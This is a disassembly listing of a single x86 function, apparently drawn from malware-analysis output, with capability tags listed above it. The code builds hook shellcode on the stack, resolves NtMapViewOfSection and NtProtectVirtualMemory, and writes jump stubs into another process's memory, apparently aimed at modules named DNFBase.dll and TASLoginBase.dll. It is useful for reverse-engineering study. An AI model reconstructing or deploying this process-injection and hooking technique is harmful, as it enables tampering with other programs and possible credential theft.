Function at 0x10002540
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header

Disassembly:
sub esp, 0x224
push ebx
push ebp
mov ebp, dword [esp + 0x230]
xor ebx, ebx
push esi
cmp ebp, ebx
push edi
je 0x10003b19
mov esi, dword [esp + 0x240]
cmp esi, ebx
je 0x100025d3
and esi, 0xfffff000
cmp esi, 0x400000
jb 0x100025f0
mov edi, 0x4550
lea eax, [esp + 0x16c]
push eax
push 0x1000
push 0x1002006c
push esi
push ebp
call fcn.10007d80
mov ecx, dword [0x100200a8]
test eax, eax
je 0x100025c3
cmp word [0x1002006c], 0x5a4d
jne 0x100025c3
cmp esi, 0x400000
jne 0x10003b19
cmp ecx, 0x1000
jge 0x100025c3
cmp dword [ecx + 0x1002006c], edi
je 0x10002605
sub esi, 0x1000
cmp esi, 0x400000
jae 0x10002579
jmp 0x100025f6
lea ecx, [esp + 0x16c]
push ecx
push 0x1000
push 0x1002006c
push 0x400000
push ebp
call fcn.10007d80
mov ecx, dword [0x100200a8]
cmp word [0x1002006c], 0x5a4d
jne 0x10003b19
mov eax, dword [ecx + 0x100200a0]
mov edx, dword [ecx + 0x10020094]
add eax, edx
mov edi, 0x1001f5f8
mov dword [esp + 0x34], eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x4c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.run.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x34]
cmp esi, 0x4ea9620
jne 0x10002f40
mov dl, 0x74
mov al, 0xff
mov byte [esp + 0x4d], dl
mov byte [esp + 0x51], dl
mov byte [esp + 0x55], dl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5d], dl
mov byte [esp + 0x61], dl
mov byte [esp + 0x65], dl
mov byte [esp + 0x69], dl
mov byte [esp + 0x6d], dl
mov byte [esp + 0x71], dl
mov cl, 0x24
mov dl, 0x50
mov byte [esp + 0x3c], 0xe9
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], bl
mov byte [esp + 0x4c], al
mov byte [esp + 0x4e], cl
mov byte [esp + 0x4f], 0x28
mov byte [esp + 0x50], al
mov byte [esp + 0x52], cl
mov byte [esp + 0x53], 0x28
mov byte [esp + 0x54], al
mov byte [esp + 0x56], cl
mov byte [esp + 0x57], 0x28
mov byte [esp + 0x58], al
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5b], 0x28
mov byte [esp + 0x5c], al
mov byte [esp + 0x5e], cl
mov byte [esp + 0x5f], 0x28
mov byte [esp + 0x60], al
mov byte [esp + 0x62], cl
mov byte [esp + 0x63], 0x28
mov byte [esp + 0x64], al
mov byte [esp + 0x66], cl
mov byte [esp + 0x67], 0x28
mov byte [esp + 0x68], al
mov byte [esp + 0x6a], cl
mov byte [esp + 0x6b], 0x28
mov byte [esp + 0x6c], al
mov byte [esp + 0x6e], cl
mov byte [esp + 0x6f], 0x28
mov byte [esp + 0x70], al
mov byte [esp + 0x72], cl
mov byte [esp + 0x73], 0x28
mov byte [esp + 0x74], 0xb8
mov byte [esp + 0x79], al
mov byte [esp + 0x7a], 0xd0
mov byte [esp + 0x7b], 0x53
mov byte [esp + 0x7c], 0x56
mov byte [esp + 0x7d], 0x57
mov byte [esp + 0x7e], 0x84
mov byte [esp + 0x7f], 0xc0
mov byte [esp + 0x80], 0x75
mov byte [esp + 0x81], 0x64
mov byte [esp + 0x82], 0x8b
mov byte [esp + 0x83], 0x54
mov byte [esp + 0x84], cl
mov byte [esp + 0x85], 0x18
mov byte [esp + 0x86], 0x8b
mov byte [esp + 0x87], 0x12
mov byte [esp + 0x88], 0x81
mov byte [esp + 0x89], 0xc2
mov byte [esp + 0x8a], bl
mov byte [esp + 0x8b], 0x10
mov byte [esp + 0x8c], bl
mov byte [esp + 0x8d], bl
mov byte [esp + 0x8e], 0x81
mov byte [esp + 0x8f], 0x3a
mov byte [esp + 0x94], 0x75
mov byte [esp + 0x95], dl
mov byte [esp + 0x96], 0x3e
mov byte [esp + 0x97], 0x89
mov byte [esp + 0x98], 0x15
mov byte [esp + 0x9d], dl
mov byte [esp + 0x9e], 0xbe
mov byte [esp + 0xa3], 0xbf
mov byte [esp + 0xd0], cl
mov dl, 0x68
mov cl, 1
mov byte [esp + 0xa8], 0xb9
mov byte [esp + 0xa9], 5
mov byte [esp + 0xaa], bl
mov byte [esp + 0xab], bl
mov byte [esp + 0xac], bl
mov byte [esp + 0xad], 0xf3
mov byte [esp + 0xae], 0xa4
mov byte [esp + 0xaf], dl
mov byte [esp + 0xb4], 0x6a
mov byte [esp + 0xb5], 0x40
mov byte [esp + 0xb6], dl
mov byte [esp + 0xbb], dl
mov byte [esp + 0xc0], 0x6a
mov byte [esp + 0xc1], al
mov byte [esp + 0xc2], 0xb8
mov byte [esp + 0xc7], al
mov byte [esp + 0xc8], 0xd0
mov byte [esp + 0xc9], 0xb8
mov byte [esp + 0xce], 0x8b
mov byte [esp + 0xcf], 0x54
mov byte [esp + 0xd1], 0x1c
mov byte [esp + 0xd2], 0x8b
mov byte [esp + 0xd3], 0x12
mov byte [esp + 0xd4], 0x81
mov byte [esp + 0xd5], 0xc2
mov byte [esp + 0xda], 0x2b
mov byte [esp + 0xdb], 0xc2
mov byte [esp + 0xdc], 0x83
mov byte [esp + 0xdd], 0xe8
mov byte [esp + 0xde], 5
mov byte [esp + 0xdf], 0xc6
mov byte [esp + 0xe0], 2
mov byte [esp + 0xe1], 0xe9
mov byte [esp + 0xe2], 0x89
mov byte [esp + 0xe3], 0x42
mov byte [esp + 0xe4], cl
mov byte [esp + 0xe5], 0x58
mov byte [esp + 0xe6], 0x5f
mov byte [esp + 0xe7], 0x5e
mov byte [esp + 0xe8], 0x5b
mov byte [esp + 0xe9], 0xc2
mov byte [esp + 0xea], 0x28
mov byte [esp + 0xeb], bl
mov byte [esp + 0xec], 0x60
mov byte [esp + 0xed], dl
mov byte [esp + 0xf2], 0xb8
mov byte [esp + 0xf7], al
mov byte [esp + 0xf8], 0xd0
mov byte [esp + 0xf9], 5
mov byte [esp + 0xfe], 0xc6
mov byte [esp + 0xff], bl
mov byte [esp + 0x100], 0xe9
mov byte [esp + 0x101], 0xc7
mov byte [esp + 0x102], 0x40
mov byte [esp + 0x103], cl
mov byte [esp + 0x108], dl
mov byte [esp + 0x10d], 0x3e
mov byte [esp + 0x10e], al
mov byte [esp + 0x10f], 0x35
mov byte [esp + 0x114], dl
mov byte [esp + 0x119], dl
mov byte [esp + 0x11e], 0x6a
mov byte [esp + 0x11f], al
mov byte [esp + 0x120], 0xb8
mov byte [esp + 0x125], al
mov byte [esp + 0x126], 0xd0
mov byte [esp + 0x127], dl
mov byte [esp + 0x12c], 0x6a
mov byte [esp + 0x12d], 2
mov byte [esp + 0x12e], dl
mov byte [esp + 0x133], 0xb8
mov byte [esp + 0x138], al
mov byte [esp + 0x139], 0xd0
mov byte [esp + 0x13a], 0x32
mov byte [esp + 0x13b], 0xc0
mov byte [esp + 0x13c], 0xb9
mov byte [esp + 0x13d], bl
mov byte [esp + 0x13e], bl
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push 0x300
push ebx
mov byte [esp + 0x14f], cl
mov byte [esp + 0x150], bl
mov byte [esp + 0x151], 0xbf
mov byte [esp + 0x156], 0x88
mov byte [esp + 0x157], 7
mov byte [esp + 0x158], 0x47
mov byte [esp + 0x159], 0x49
mov byte [esp + 0x15a], 0x75
mov byte [esp + 0x15b], 0xfa
mov byte [esp + 0x15c], dl
mov byte [esp + 0x161], 0xb8
mov byte [esp + 0x166], al
mov byte [esp + 0x167], 0xd0
mov byte [esp + 0x168], 5
mov byte [esp + 0x16d], 0x3e
mov byte [esp + 0x16e], 0xa3
mov byte [esp + 0x173], 0x61
mov byte [esp + 0x174], 0x3e
mov byte [esp + 0x175], al
mov byte [esp + 0x176], 0x35
mov byte [esp + 0x17b], 0xc3
call esi
push 4
push 0x1000
mov edi, eax
push 0x500
push ebx
mov dword [esp + 0x48], edi
call esi
mov edx, eax
mov ecx, 0xc0
xor eax, eax
mov dword [esp + 0x28], edx
rep stosd dword es:[edi], eax
mov ecx, 0x140
mov edi, edx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1d0]
push eax
push str.NTDLL.DLL
call fcn.10001830
add esp, 8
lea ecx, [esp + 0x1d0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [esp + 0x1d0]
mov esi, eax
push edx
push str.NtMapViewOfSection
call fcn.10001830
add esp, 8
lea eax, [esp + 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
lea ecx, [esp + 0x48]
push 0x3000
push ecx
lea edx, [esp + 0x20]
push ebx
push edx
push ebp
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x5c], 0x300
call fcn.10007d90
mov eax, dword [esp + 0x14]
push 0x40
lea ecx, [esp + 0x48]
push 0x3000
push ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x50], 0x500
push ebx
lea edx, [esp + 0x24]
push edx
push ebp
call fcn.10007d90
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
mov dword [esp + 0x75], eax
mov dword [esp + 0x9f], eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xa4], eax
lea eax, [edi + 0x100]
push ecx
push str.NtProtectVirtualMemory
mov dword [esp + 0x3c], edi
mov dword [esp + 0x20], eax
mov dword [esp + 0xa1], eax
call fcn.10001830
lea eax, [edi + 0x10c]
mov edx, dword [esp + 0x20]
mov dword [esp + 0xb8], eax
lea eax, [edi + 0x108]
add esp, 8
mov dword [esp + 0xb7], eax
lea eax, [esp + 0x1d0]
mov dword [esp + 0xbc], edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0xc3], eax
lea eax, [edi + 0xc8]
lea ecx, [edi + 0x1c0]
mov dword [esp + 0xee], eax
lea eax, [esp + 0x1d0]
mov dword [esp + 0xca], ecx
mov ecx, 0x1000
push eax
push str.NtProtectVirtualMemory
mov dword [esp + 0xde], ecx
mov dword [esp + 0xfb], edx
mov dword [esp + 0x102], ecx
mov dword [esp + 0x10c], 0x6d245b
mov dword [esp + 0x98], 0x6d245be9
call fcn.10001830
mov ecx, dword [esp + 0x20]
add esp, 8
lea eax, [edi + 0x10c]
lea edx, [esp + 0x1d0]
mov dword [esp + 0x109], eax
mov dword [esp + 0x110], eax
lea eax, [edi + 0x108]
push edx
push esi
mov dword [esp + 0x11d], eax
mov dword [esp + 0x122], ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x56000000
push ebp
mov dword [esp + 0x125], eax
mov dword [esp + 0x12c], edi
mov dword [esp + 0x133], esi
call fcn.100022f0
mov dword [esp + 0x134], eax
lea eax, [edi + 0xc8]
mov dword [esp + 0x14d], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add edi, 0x110
mov dword [esp + 0x152], eax
mov dword [esp + 0x15f], edi
mov dword [esp + 0x167], edi
mov edi, 0x1001f5f8
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x142], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x159], 0x1000
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x28]
lea eax, [esp + 0x1d0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push str.DNFBase.dll
rep movsb byte es:[edi], byte [esi]
call fcn.10001830
lea edi, [esp + 0x1d8]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov edx, dword [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0xc8]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x18], esi
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x100
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 0x120]
mov ecx, 0x48
lea esi, [esp + 0x4c]
mov dword [edx + 0x108], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x34]
mov esi, dword [esp + 0x20]
sub ecx, esi
mov esi, 0x10003b30
add ecx, 0x11b
mov edi, fcn.10002280
mov dword [esp + 0x3d], ecx
mov ecx, 5
mov edx, fcn.10002280
rep movsd dword es:[edi], dword [esi]
mov cl, byte [edx]
xor esi, esi
cmp cl, 0xe9
je 0x10002e5b
mov ecx, fcn.10002280
mov dl, byte [ecx + 1]
inc esi
inc ecx
cmp dl, 0xe9
jne 0x10002e51
mov dword [esp + 0x24], eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x28]
push 0x40
lea edx, [esp + 0x24]
push ecx
push edx
mov dword [esp + 0x2c], fcn.10002280
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10007d70
mov eax, esi
mov edi, dword [esp + 0x38]
add eax, fcn.10002280
mov ecx, eax
mov edx, dword [eax + 1]
sub ecx, esi
mov esi, dword [esp + 0x10]
sub ecx, esi
mov esi, fcn.10002280
add edx, ecx
mov ecx, 0xc
mov dword [eax + 1], edx
mov edx, dword [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x48]
mov dword [esp + 0x1c], edx
push eax
lea ecx, [esp + 0x28]
push 0x40
lea edx, [esp + 0x24]
push ecx
push edx
push ebp
mov dword [esp + 0x38], 0x100
call fcn.10007d70
mov edi, dword [esp + 0x28]
mov eax, dword [esp + 0x34]
push ebx
push 0x300
push edi
push eax
push ebp
call fcn.10007d60
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x10]
push ebx
push 0x300
push esi
push ecx
push ebp
call fcn.10007d60
mov eax, dword [esp + 0x20]
push ebx
lea edx, [esp + 0x40]
push 5
push edx
push eax
push ebp
call fcn.10007d60
push 0x8000
push 0x300
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push 0x500
push edi
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x224
ret
cmp esi, 0x4bfd9c
jne 0x100037e2
mov dl, 0x74
mov al, 0xff
mov byte [esp + 0x4d], dl
mov byte [esp + 0x51], dl
mov byte [esp + 0x55], dl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5d], dl
mov byte [esp + 0x61], dl
mov byte [esp + 0x65], dl
mov byte [esp + 0x69], dl
mov byte [esp + 0x6d], dl
mov byte [esp + 0x71], dl
mov cl, 0x24
mov dl, 0x50
mov byte [esp + 0x2c], 0xe9
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], bl
mov byte [esp + 0x4c], al
mov byte [esp + 0x4e], cl
mov byte [esp + 0x4f], 0x28
mov byte [esp + 0x50], al
mov byte [esp + 0x52], cl
mov byte [esp + 0x53], 0x28
mov byte [esp + 0x54], al
mov byte [esp + 0x56], cl
mov byte [esp + 0x57], 0x28
mov byte [esp + 0x58], al
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5b], 0x28
mov byte [esp + 0x5c], al
mov byte [esp + 0x5e], cl
mov byte [esp + 0x5f], 0x28
mov byte [esp + 0x60], al
mov byte [esp + 0x62], cl
mov byte [esp + 0x63], 0x28
mov byte [esp + 0x64], al
mov byte [esp + 0x66], cl
mov byte [esp + 0x67], 0x28
mov byte [esp + 0x68], al
mov byte [esp + 0x6a], cl
mov byte [esp + 0x6b], 0x28
mov byte [esp + 0x6c], al
mov byte [esp + 0x6e], cl
mov byte [esp + 0x6f], 0x28
mov byte [esp + 0x70], al
mov byte [esp + 0x72], cl
mov byte [esp + 0x73], 0x28
mov byte [esp + 0x74], 0xb8
mov byte [esp + 0x79], al
mov byte [esp + 0x7a], 0xd0
mov byte [esp + 0x7b], 0x53
mov byte [esp + 0x7c], 0x56
mov byte [esp + 0x7d], 0x57
mov byte [esp + 0x7e], 0x84
mov byte [esp + 0x7f], 0xc0
mov byte [esp + 0x80], 0x75
mov byte [esp + 0x81], 0x64
mov byte [esp + 0x82], 0x8b
mov byte [esp + 0x83], 0x54
mov byte [esp + 0x84], cl
mov byte [esp + 0x85], 0x18
mov byte [esp + 0x86], 0x8b
mov byte [esp + 0x87], 0x12
mov byte [esp + 0x88], 0x81
mov byte [esp + 0x89], 0xc2
mov byte [esp + 0x8a], bl
mov byte [esp + 0x8b], 0x10
mov byte [esp + 0x8c], bl
mov byte [esp + 0x8d], bl
mov byte [esp + 0x8e], 0x81
mov byte [esp + 0x8f], 0x3a
mov byte [esp + 0x94], 0x75
mov byte [esp + 0x95], dl
mov byte [esp + 0x96], 0x3e
mov byte [esp + 0x97], 0x89
mov byte [esp + 0x98], 0x15
mov byte [esp + 0x9d], dl
mov byte [esp + 0x9e], 0xbe
mov byte [esp + 0xa3], 0xbf
mov byte [esp + 0xd0], cl
mov dl, 0x68
mov cl, 1
mov byte [esp + 0xa8], 0xb9
mov byte [esp + 0xa9], 5
mov byte [esp + 0xaa], bl
mov byte [esp + 0xab], bl
mov byte [esp + 0xac], bl
mov byte [esp + 0xad], 0xf3
mov byte [esp + 0xae], 0xa4
mov byte [esp + 0xaf], dl
mov byte [esp + 0xb4], 0x6a
mov byte [esp + 0xb5], 0x40
mov byte [esp + 0xb6], dl
mov byte [esp + 0xbb], dl
mov byte [esp + 0xc0], 0x6a
mov byte [esp + 0xc1], al
mov byte [esp + 0xc2], 0xb8
mov byte [esp + 0xc7], al
mov byte [esp + 0xc8], 0xd0
mov byte [esp + 0xc9], 0xb8
mov byte [esp + 0xce], 0x8b
mov byte [esp + 0xcf], 0x54
mov byte [esp + 0xd1], 0x1c
mov byte [esp + 0xd2], 0x8b
mov byte [esp + 0xd3], 0x12
mov byte [esp + 0xd4], 0x81
mov byte [esp + 0xd5], 0xc2
mov byte [esp + 0xda], 0x2b
mov byte [esp + 0xdb], 0xc2
mov byte [esp + 0xdc], 0x83
mov byte [esp + 0xdd], 0xe8
mov byte [esp + 0xde], 5
mov byte [esp + 0xdf], 0xc6
mov byte [esp + 0xe0], 2
mov byte [esp + 0xe1], 0xe9
mov byte [esp + 0xe2], 0x89
mov byte [esp + 0xe3], 0x42
mov byte [esp + 0xe4], cl
mov byte [esp + 0xe5], 0x58
mov byte [esp + 0xe6], 0x5f
mov byte [esp + 0xe7], 0x5e
mov byte [esp + 0xe8], 0x5b
mov byte [esp + 0xe9], 0xc2
mov byte [esp + 0xea], 0x28
mov byte [esp + 0xeb], bl
mov byte [esp + 0xec], 0x60
mov byte [esp + 0xed], dl
mov byte [esp + 0xf2], 0xb8
mov byte [esp + 0xf7], al
mov byte [esp + 0xf8], 0xd0
mov byte [esp + 0xf9], 5
mov byte [esp + 0xfe], 0xc6
mov byte [esp + 0xff], bl
mov byte [esp + 0x100], 0xe9
mov byte [esp + 0x101], 0xc7
mov byte [esp + 0x102], 0x40
mov byte [esp + 0x103], cl
mov byte [esp + 0x108], dl
mov byte [esp + 0x10d], 0x3e
mov byte [esp + 0x10e], al
mov byte [esp + 0x10f], 0x35
mov byte [esp + 0x114], dl
mov byte [esp + 0x119], dl
mov byte [esp + 0x11e], 0x6a
mov byte [esp + 0x11f], al
mov byte [esp + 0x120], 0xb8
mov byte [esp + 0x125], al
mov byte [esp + 0x126], 0xd0
mov byte [esp + 0x127], dl
mov byte [esp + 0x12c], 0x6a
mov byte [esp + 0x12d], 2
mov byte [esp + 0x12e], dl
mov byte [esp + 0x133], 0xb8
mov byte [esp + 0x138], al
mov byte [esp + 0x139], 0xd0
mov byte [esp + 0x13a], 0x32
mov byte [esp + 0x13b], 0xc0
mov byte [esp + 0x13c], 0xb9
mov byte [esp + 0x13d], bl
mov byte [esp + 0x13e], bl
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push 0x300
push ebx
mov byte [esp + 0x14f], cl
mov byte [esp + 0x150], bl
mov byte [esp + 0x151], 0xbf
mov byte [esp + 0x156], 0x88
mov byte [esp + 0x157], 7
mov byte [esp + 0x158], 0x47
mov byte [esp + 0x159], 0x49
mov byte [esp + 0x15a], 0x75
mov byte [esp + 0x15b], 0xfa
mov byte [esp + 0x15c], dl
mov byte [esp + 0x161], 0xb8
mov byte [esp + 0x166], al
mov byte [esp + 0x167], 0xd0
mov byte [esp + 0x168], 5
mov byte [esp + 0x16d], 0x3e
mov byte [esp + 0x16e], 0xa3
mov byte [esp + 0x173], 0x61
mov byte [esp + 0x174], 0x3e
mov byte [esp + 0x175], al
mov byte [esp + 0x176], 0x35
mov byte [esp + 0x17b], 0xc3
call esi
push 4
push 0x1000
mov edi, eax
push 0x500
push ebx
mov dword [esp + 0x28], edi
call esi
mov edx, eax
mov ecx, 0xc0
xor eax, eax
mov dword [esp + 0x24], edx
rep stosd dword es:[edi], eax
mov ecx, 0x140
mov edi, edx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1d0]
push ecx
push str.NTDLL.DLL
call fcn.10001830
add esp, 8
lea edx, [esp + 0x1d0]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
lea eax, [esp + 0x1d0]
push eax
push str.NtMapViewOfSection
call fcn.10001830
add esp, 8
lea ecx, [esp + 0x1d0]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
lea edx, [esp + 0x14]
mov dword [esp + 0x24], eax
push 0x3000
push edx
lea eax, [esp + 0x20]
push ebx
push eax
push ebp
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], 0x300
call fcn.10007d90
mov ecx, dword [esp + 0x14]
push 0x40
lea edx, [esp + 0x14]
push 0x3000
push edx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0x500
push ebx
lea eax, [esp + 0x24]
push eax
push ebp
call fcn.10007d90
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1d0]
mov dword [esp + 0x75], eax
mov dword [esp + 0x9f], eax
lea eax, [edi + 0x100]
push edx
push str.NtProtectVirtualMemory
mov dword [esp + 0x3c], edi
mov dword [esp + 0xac], ecx
mov dword [esp + 0x40], eax
mov dword [esp + 0xa1], eax
call fcn.10001830
lea eax, [edi + 0x10c]
add esp, 8
mov dword [esp + 0xb0], eax
lea eax, [edi + 0x108]
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xb7], eax
mov eax, dword [esp + 0x38]
push ecx
push esi
mov dword [esp + 0xc4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x1000
mov dword [esp + 0xc3], eax
mov dword [esp + 0xd6], ecx
lea eax, [edi + 0xc8]
mov dword [esp + 0xfa], ecx
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xee], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [edi + 0x1c0]
push ecx
push str.NtProtectVirtualMemory
mov dword [esp + 0xd2], edx
mov dword [esp + 0xfb], eax
mov dword [esp + 0x10c], 0x60e0ab
mov dword [esp + 0x98], 0x60e0abe9
call fcn.10001830
lea eax, [edi + 0x10c]
mov edx, dword [esp + 0x40]
mov dword [esp + 0x111], eax
mov dword [esp + 0x118], eax
lea eax, [edi + 0x108]
add esp, 8
mov dword [esp + 0x115], eax
lea eax, [esp + 0x1d0]
push eax
push esi
mov dword [esp + 0x122], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x56000000
push ebp
mov dword [esp + 0x125], eax
mov dword [esp + 0x12c], edi
mov dword [esp + 0x133], esi
call fcn.100022f0
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x134], eax
lea eax, [edi + 0xc8]
add edi, 0x110
mov dword [esp + 0x14d], eax
mov dword [esp + 0x152], ecx
mov dword [esp + 0x15f], edi
mov dword [esp + 0x167], edi
mov edi, 0x1001f5f8
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x142], esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x159], 0x1000
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x1d0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push str.TASLoginBase.dll
rep movsb byte es:[edi], byte [esi]
call fcn.10001830
lea edi, [esp + 0x1d8]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov edx, dword [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0xc8]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x48], esi
mov esi, edi
mov edi, dword [esp + 0x48]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 0x100
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 0x120]
mov ecx, 0x48
lea esi, [esp + 0x4c]
mov dword [edx + 0x108], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x34]
mov esi, dword [esp + 0x20]
sub ecx, esi
mov esi, 0x10003b30
add ecx, 0x11b
mov edi, fcn.10002280
mov dword [esp + 0x2d], ecx
mov ecx, 5
mov edx, fcn.10002280
rep movsd dword es:[edi], dword [esi]
mov cl, byte [edx]
xor esi, esi
cmp cl, 0xe9
je 0x1000372c
mov ecx, fcn.10002280
mov dl, byte [ecx + 1]
inc esi
inc ecx
cmp dl, 0xe9
jne 0x10003722
mov dword [esp + 0x28], eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x2c]
push 0x40
lea edx, [esp + 0x24]
push ecx
push edx
mov dword [esp + 0x2c], fcn.10002280
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.10007d70
mov edx, dword [esp + 0x44]
mov eax, esi
add eax, fcn.10002280
mov edi, dword [esp + 0x18]
mov ecx, eax
sub ecx, edx
mov edx, dword [eax + 1]
sub ecx, esi
mov esi, fcn.10002280
add edx, ecx
mov ecx, 0xc
mov dword [eax + 1], edx
mov edx, dword [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x3c]
mov dword [esp + 0x1c], edx
push eax
lea ecx, [esp + 0x2c]
push 0x40
lea edx, [esp + 0x24]
push ecx
push edx
push ebp
mov dword [esp + 0x3c], 0x100
call fcn.10007d70
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x34]
push ebx
push 0x300
push edi
push eax
push ebp
call fcn.10007d60
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x44]
push ebx
push 0x300
push esi
push ecx
push ebp
call fcn.10007d60
mov eax, dword [esp + 0x20]
push ebx
lea edx, [esp + 0x30]
push 5
push edx
jmp 0x10002f0c
push 4
push 0x1000
mov al, 0xff
mov cl, 0x90
mov dl, 0x68
push 0x300
push ebx
mov byte [esp + 0x3c], 0xb8
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x56
mov byte [esp + 0x3f], 0x34
mov byte [esp + 0x40], 0x12
mov byte [esp + 0x41], al
mov byte [esp + 0x42], 0xe0
mov byte [esp + 0x180], 0x60
mov byte [esp + 0x181], cl
mov byte [esp + 0x182], 0xbe
mov byte [esp + 0x187], 0xbf
mov byte [esp + 0x18c], 0xb9
mov byte [esp + 0x18d], 7
mov byte [esp + 0x18e], bl
mov byte [esp + 0x18f], bl
mov byte [esp + 0x190], bl
mov byte [esp + 0x191], 0xf3
mov byte [esp + 0x192], 0xa4
mov byte [esp + 0x193], dl
mov byte [esp + 0x198], 0x6a
mov byte [esp + 0x199], 2
mov byte [esp + 0x19a], dl
mov byte [esp + 0x19f], 0xb8
mov byte [esp + 0x1a4], al
mov byte [esp + 0x1a5], 0xd0
mov byte [esp + 0x1a6], dl
mov byte [esp + 0x1ab], dl
mov byte [esp + 0x1b0], dl
mov byte [esp + 0x1b5], dl
mov byte [esp + 0x1ba], 0x6a
mov byte [esp + 0x1bb], al
mov byte [esp + 0x1bc], 0xb8
mov byte [esp + 0x1c1], al
mov byte [esp + 0x1c2], 0xd0
mov byte [esp + 0x1c3], 0x61
mov byte [esp + 0x1c4], 0xb8
mov byte [esp + 0x1c9], al
mov byte [esp + 0x1ca], 0xe0
mov byte [esp + 0x1cb], cl
mov byte [esp + 0x1cc], cl
mov byte [esp + 0x1cd], cl
mov byte [esp + 0x1ce], cl
mov byte [esp + 0x1cf], 0xb8
mov byte [esp + 0x1d0], 0xa5
mov byte [esp + 0x1d1], 1
mov byte [esp + 0x1d2], bl
mov byte [esp + 0x1d3], bl
mov byte [esp + 0x1d4], 0xba
mov byte [esp + 0x1d5], bl
mov byte [esp + 0x1d6], 3
mov byte [esp + 0x1d7], 0xfe
